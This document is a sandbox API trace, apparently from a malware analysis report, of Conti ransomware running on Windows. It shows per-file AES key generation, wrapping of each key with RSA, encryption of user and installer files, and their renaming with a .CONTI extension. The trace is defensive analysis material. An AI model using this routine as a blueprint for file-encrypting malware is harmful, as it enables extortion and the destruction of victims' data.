	[0144.110] SetFilePointer (in: hFile=0x490, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0144.110] ReadFile (in: hFile=0x490, lpBuffer=0xda50000, nNumberOfBytesToRead=0xbe, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0xbe, lpOverlapped=0x0) returned 1
	[0144.110] CryptEncrypt (in: hKey=0x6b7f0f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0xbe, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0xc0) returned 1
	[0144.110] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.110] WriteFile (in: hFile=0x490, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0xc0, lpOverlapped=0x0) returned 1
	[0144.110] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.110] WriteFile (in: hFile=0x490, lpBuffer=0x6b514c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x6b514c8*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0144.110] SetFilePointer (in: hFile=0x490, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0144.110] CloseHandle (hObject=0x490) returned 1
	[0144.110] GetProcessHeap () returned 0x1720000
	[0144.110] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0144.110] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Pictures\\Camera Roll\\desktop.ini" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\Camera Roll\\desktop.ini") returned="C:\\Users\\FD1HVy\\Pictures\\Camera Roll\\desktop.ini"
	[0144.110] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Pictures\\Camera Roll\\desktop.ini", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\Camera Roll\\desktop.ini.CONTI") returned="C:\\Users\\FD1HVy\\Pictures\\Camera Roll\\desktop.ini.CONTI"
	[0144.110] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\Camera Roll\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\pictures\\camera roll\\desktop.ini"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\Camera Roll\\desktop.ini.CONTI" (normalized: "c:\\users\\fd1hvy\\pictures\\camera roll\\desktop.ini.conti")) returned 1
	[0144.111] GetProcessHeap () returned 0x1720000
	[0144.111] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0144.111] CryptDestroyKey (hKey=0x6b7f0f8) returned 1
	[0144.111] GetProcessHeap () returned 0x1720000
	[0144.111] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65dee60 | out: hHeap=0x1720000) returned 1
	[0144.111] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0144.111] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x6b4f970 | out: phKey=0x6b4f970*=0x6b7f278) returned 1
	[0144.111] CryptExportKey (in: hKey=0x6b7f278, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4f974, pdwDataLen=0x4bffe94 | out: pbData=0x6b4f974*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0144.112] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\CoWZJti.png" (normalized: "c:\\users\\fd1hvy\\pictures\\cowzjti.png")) returned 0x20
	[0144.112] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\CoWZJti.png" (normalized: "c:\\users\\fd1hvy\\pictures\\cowzjti.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x490
	[0144.113] GetLastError () returned 0x0
	[0144.113] GetFileSizeEx (in: hFile=0x490, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=18890) returned 1
	[0144.113] SetFilePointer (in: hFile=0x490, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x49ca
	[0144.113] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.113] SetEndOfFile (hFile=0x490) returned 1
	[0144.113] SetFilePointer (in: hFile=0x490, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0144.113] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.113] WriteFile (in: hFile=0x490, lpBuffer=0x6b4f974*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x6b4f974*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0144.802] SetFilePointer (in: hFile=0x490, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0144.803] ReadFile (in: hFile=0x490, lpBuffer=0xda50000, nNumberOfBytesToRead=0x49ca, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0x49ca, lpOverlapped=0x0) returned 1
	[0144.804] CryptEncrypt (in: hKey=0x6b7f278, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x49ca, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x49d0) returned 1
	[0144.804] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.804] WriteFile (in: hFile=0x490, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x49d0, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x49d0, lpOverlapped=0x0) returned 1
	[0144.805] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.805] WriteFile (in: hFile=0x490, lpBuffer=0x6b4f968*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x6b4f968*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0144.805] SetFilePointer (in: hFile=0x490, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0144.805] CloseHandle (hObject=0x490) returned 1
	[0144.805] GetProcessHeap () returned 0x1720000
	[0144.805] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0145.188] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Pictures\\CoWZJti.png" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\CoWZJti.png") returned="C:\\Users\\FD1HVy\\Pictures\\CoWZJti.png"
	[0145.189] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Pictures\\CoWZJti.png", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\CoWZJti.png.CONTI") returned="C:\\Users\\FD1HVy\\Pictures\\CoWZJti.png.CONTI"
	[0145.189] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\CoWZJti.png" (normalized: "c:\\users\\fd1hvy\\pictures\\cowzjti.png"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\CoWZJti.png.CONTI" (normalized: "c:\\users\\fd1hvy\\pictures\\cowzjti.png.conti")) returned 1
	[0145.189] GetProcessHeap () returned 0x1720000
	[0145.189] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0145.189] CryptDestroyKey (hKey=0x6b7f278) returned 1
	[0145.189] GetProcessHeap () returned 0x1720000
	[0145.189] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bf338 | out: hHeap=0x1720000) returned 1
	[0145.189] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4bffec0, lpCompletionKey=0x4bffec4, lpOverlapped=0x4bffed0) returned 1
	[0145.189] CryptGenKey (in: hProv=0x176ba40, Algid=0x6610, dwFlags=0x1, phKey=0x65d1770 | out: phKey=0x65d1770*=0x17de650) returned 1
	[0145.189] CryptExportKey (in: hKey=0x17de650, hExpKey=0x175e0f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d1774, pdwDataLen=0x4bffe94 | out: pbData=0x65d1774*, pdwDataLen=0x4bffe94*=0x20c) returned 1
	[0145.190] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\fd1hvy\\searches\\indexed locations.search-ms")) returned 0x23
	[0148.641] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Searches\\Indexed Locations.search-ms", dwFileAttributes=0x22) returned 1
	[0148.641] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\fd1hvy\\searches\\indexed locations.search-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x468
	[0148.642] GetLastError () returned 0x0
	[0148.642] GetFileSizeEx (in: hFile=0x468, lpFileSize=0x4bffe40 | out: lpFileSize=0x4bffe40*=248) returned 1
	[0148.642] SetFilePointer (in: hFile=0x468, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xf8
	[0148.642] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0148.642] SetEndOfFile (hFile=0x468) returned 1
	[0153.624] SetFilePointer (in: hFile=0x468, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0153.624] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0153.624] WriteFile (in: hFile=0x468, lpBuffer=0x65d1774*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4bffe4c, lpOverlapped=0x0 | out: lpBuffer=0x65d1774*, lpNumberOfBytesWritten=0x4bffe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0153.626] SetFilePointer (in: hFile=0x468, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0153.626] ReadFile (in: hFile=0x468, lpBuffer=0xda50000, nNumberOfBytesToRead=0xf8, lpNumberOfBytesRead=0x4bffe6c, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesRead=0x4bffe6c*=0xf8, lpOverlapped=0x0) returned 1
	[0153.626] CryptEncrypt (in: hKey=0x17de650, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda50000*, pdwDataLen=0x4bffe64*=0xf8, dwBufLen=0x500000 | out: pbData=0xda50000*, pdwDataLen=0x4bffe64*=0x100) returned 1
	[0153.626] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0153.626] WriteFile (in: hFile=0x468, lpBuffer=0xda50000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x4bffe80, lpOverlapped=0x0 | out: lpBuffer=0xda50000*, lpNumberOfBytesWritten=0x4bffe80*=0x100, lpOverlapped=0x0) returned 1
	[0153.627] SetFilePointerEx (in: hFile=0x468, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0153.627] WriteFile (in: hFile=0x468, lpBuffer=0x65d1768*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4bffe98, lpOverlapped=0x0 | out: lpBuffer=0x65d1768*, lpNumberOfBytesWritten=0x4bffe98*=0x8, lpOverlapped=0x0) returned 1
	[0153.627] SetFilePointer (in: hFile=0x468, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0153.627] CloseHandle (hObject=0x468) 

Thread:
	id = 165
	os_tid = 0x1158

	[0093.092] VirtualAlloc (lpAddress=0x0, dwSize=0x500020, flAllocationType=0x3000, flProtect=0x4) returned 0xdf60000
	[0093.092] CryptAcquireContextA (in: phProv=0x4d3fef8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x4d3fef8*=0x176c128) returned 1
	[0093.094] CryptImportKey (in: hProv=0x176c128, pbData=0xb8d90, dwDataLen=0x1000, hPubKey=0x0, dwFlags=0x0, phKey=0x4d3fef4 | out: phKey=0x4d3fef4*=0x175dc70) returned 1
	[0093.094] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0093.565] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x17c1538 | out: phKey=0x17c1538*=0x175e430) returned 1
	[0093.565] CryptExportKey (in: hKey=0x175e430, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c153c, pdwDataLen=0x4d3fec4 | out: pbData=0x17c153c*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0093.577] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf")) returned 0x80
	[0093.577] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0093.577] GetLastError () returned 0x0
	[0093.578] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=3726) returned 1
	[0093.578] SetFilePointer (in: hFile=0x33c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe8e
	[0093.578] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.578] SetEndOfFile (hFile=0x33c) returned 1
	[0093.578] SetFilePointer (in: hFile=0x33c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.578] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.578] WriteFile (in: hFile=0x33c, lpBuffer=0x17c153c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x17c153c*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0093.580] SetFilePointer (in: hFile=0x33c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.580] ReadFile (in: hFile=0x33c, lpBuffer=0xdf60000, nNumberOfBytesToRead=0xe8e, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0xe8e, lpOverlapped=0x0) returned 1
	[0093.580] CryptEncrypt (in: hKey=0x175e430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0xe8e, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0xe90) returned 1
	[0093.581] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.581] WriteFile (in: hFile=0x33c, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0xe90, lpOverlapped=0x0) returned 1
	[0093.581] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.581] WriteFile (in: hFile=0x33c, lpBuffer=0x17c1530*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x17c1530*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0093.581] SetFilePointer (in: hFile=0x33c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.581] CloseHandle (hObject=0x33c) returned 1
	[0093.582] GetProcessHeap () returned 0x1720000
	[0093.582] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0093.583] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\588bce7c90097ed212\\1029\\eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned="C:\\588bce7c90097ed212\\1029\\eula.rtf"
	[0093.583] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1029\\eula.rtf", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\1029\\eula.rtf.CONTI") returned="C:\\588bce7c90097ed212\\1029\\eula.rtf.CONTI"
	[0093.583] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.CONTI" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.conti")) returned 1
	[0093.583] GetProcessHeap () returned 0x1720000
	[0093.583] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0093.583] CryptDestroyKey (hKey=0x175e430) returned 1
	[0093.583] GetProcessHeap () returned 0x1720000
	[0093.583] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d288 | out: hHeap=0x1720000) returned 1
	[0093.583] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0094.229] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x17d4d58 | out: phKey=0x17d4d58*=0x175e5f0) returned 1
	[0094.229] CryptExportKey (in: hKey=0x175e5f0, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d4d5c, pdwDataLen=0x4d3fec4 | out: pbData=0x17d4d5c*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0094.235] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico")) returned 0x80
	[0094.235] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0094.235] GetLastError () returned 0x0
	[0094.235] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x4d3fe70 | out: lpFileSize=0x4d3fe70*=1150) returned 1
	[0094.235] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x47e
	[0094.235] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.235] SetEndOfFile (hFile=0x34c) returned 1
	[0094.235] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.235] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.236] WriteFile (in: hFile=0x34c, lpBuffer=0x17d4d5c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4d3fe7c, lpOverlapped=0x0 | out: lpBuffer=0x17d4d5c*, lpNumberOfBytesWritten=0x4d3fe7c*=0x20c, lpOverlapped=0x0) returned 1
	[0094.237] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.237] ReadFile (in: hFile=0x34c, lpBuffer=0xdf60000, nNumberOfBytesToRead=0x47e, lpNumberOfBytesRead=0x4d3fe9c, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesRead=0x4d3fe9c*=0x47e, lpOverlapped=0x0) returned 1
	[0094.238] CryptEncrypt (in: hKey=0x175e5f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x47e, dwBufLen=0x500000 | out: pbData=0xdf60000*, pdwDataLen=0x4d3fe94*=0x480) returned 1
	[0094.238] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.238] WriteFile (in: hFile=0x34c, lpBuffer=0xdf60000*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x4d3feb0, lpOverlapped=0x0 | out: lpBuffer=0xdf60000*, lpNumberOfBytesWritten=0x4d3feb0*=0x480, lpOverlapped=0x0) returned 1
	[0094.238] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.238] WriteFile (in: hFile=0x34c, lpBuffer=0x17d4d50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4d3fec8, lpOverlapped=0x0 | out: lpBuffer=0x17d4d50*, lpNumberOfBytesWritten=0x4d3fec8*=0x8, lpOverlapped=0x0) returned 1
	[0094.238] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.238] CloseHandle (hObject=0x34c) returned 1
	[0094.239] GetProcessHeap () returned 0x1720000
	[0094.239] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0094.240] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico"
	[0094.240] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.CONTI") returned="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.CONTI"
	[0094.240] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.CONTI" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.conti")) returned 1
	[0094.240] GetProcessHeap () returned 0x1720000
	[0094.240] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0094.240] CryptDestroyKey (hKey=0x175e5f0) returned 1
	[0094.240] GetProcessHeap () returned 0x1720000
	[0094.240] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0bf8 | out: hHeap=0x1720000) returned 1
	[0094.240] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0094.992] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x17c47e0 | out: phKey=0x17c47e0*=0x17c8470) returned 1
	[0094.992] CryptExportKey (in: hKey=0x17c8470, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c47e4, pdwDataLen=0x4d3fec4 | out: pbData=0x17c47e4*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
	[0094.993] GetFileAttributesW (lpFileName="C:\\Boot" (normalized: "c:\\boot")) returned 0x16
	[0094.993] CreateFileW (lpFileName="C:\\Boot" (normalized: "c:\\boot"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0094.993] GetLastError () returned 0x5
	[0094.993] CryptDestroyKey (hKey=0x17c8470) returned 1
	[0094.993] GetProcessHeap () returned 0x1720000
	[0094.993] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17b3960 | out: hHeap=0x1720000) returned 1
	[0094.993] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4d3feec, lpCompletionKey=0x4d3fef0, lpOverlapped=0x4d3fefc) returned 1
	[0094.993] CryptGenKey (in: hProv=0x176c128, Algid=0x6610, dwFlags=0x1, phKey=0x17d3fa8 | out: phKey=0x17d3fa8*=0x17c7ff0) returned 1
	[0094.993] CryptExportKey (in: hKey=0x17c7ff0, hExpKey=0x175dc70, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d3fac, pdwDataLen=0x4d3fec4 | out: pbData=0x17d3fac*, pdwDataLen=0x4d3fec4*=0x20c) returned 1
